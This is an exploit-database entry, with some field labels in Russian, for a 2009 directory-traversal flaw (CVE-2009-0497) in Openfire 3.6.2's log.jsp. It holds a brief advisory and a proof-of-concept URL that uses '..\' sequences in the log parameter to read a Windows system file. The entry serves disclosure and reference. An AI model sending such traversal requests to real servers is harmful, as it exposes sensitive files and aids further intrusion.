Exploit Openfire 3.6.2 - 'log.jsp' Directory Traversal

[Exploiter]

EDB-ID

32680

Проверка EDB

1. Пройдено

Автор

FEDERICO MUTTIS

Тип уязвимости

WEBAPPS

Платформа

JSP

CVE

cve-2009-0497

Дата публикации

2009-01-08

source: https://www.securityfocus.com/bid/32945/info

Openfire is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/log.jsp?log=..\..\..\windows\debug\netsetup